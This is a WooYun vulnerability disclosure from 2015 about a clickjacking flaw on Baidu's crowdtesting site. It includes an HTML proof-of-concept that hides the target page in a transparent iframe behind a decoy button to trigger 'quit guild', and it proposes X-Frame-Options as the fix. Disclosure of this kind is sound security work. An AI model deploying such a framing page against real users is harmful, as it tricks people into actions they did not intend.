当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0107513

漏洞标题：百度众测全站点多处功能设计缺陷导致点击劫持(Clickjacking)

相关厂商：百度

漏洞作者： 路人甲

提交时间：2015-04-13 09:53

修复时间：2015-04-15 14:38

公开时间：2015-04-15 14:38

漏洞类型：网络设计缺陷/逻辑错误

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-13： 细节已通知厂商并且等待厂商处理中
2015-04-15： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

百度众测全站点多处功能设计缺陷导致点击劫持(Clickjacking)

详细说明：

百度众测全站点多处功能设计缺陷导致点击劫持(Clickjacking)
BSRC无故忽略。

bsrc.png


以任意退出公会为例

漏洞证明：

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <head>
        <title>点击劫持 POC</title>
        <style>
        iframe {
            width: 1440px;
            height: 900px;
            position: absolute;
            top: -0px;
            left: -0px;
            z-index: 2;
            -moz-opacity: 0;
            opacity: 0;
            filter: alpha(opacity=0);
        }
        button {
            position: absolute;
            top: 363px;
            left: 456px;
            z-index: 1;
            width: 80px;
            height:20px;
        }
        </style>
    </head>
    <body>
        <iframe src="http://test.baidu.com/crowdtest/n/union/showUnion/union_id/642##apply_member" scrolling="no"></iframe>
        <button>劫持</button>
        <input type="button" style="
        position: absolute;
        top: 297px;
        left: 642px;
        z-index: 1;
        width: 80px;
        height:20px;" value="test"/>
    </body>
</html>

修复方案：

X-FRAME-OPTIONS.

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-04-15 14:38

厂商回复：

无安全风险

漏洞Rank：2 (WooYun评价)

最新状态：

暂无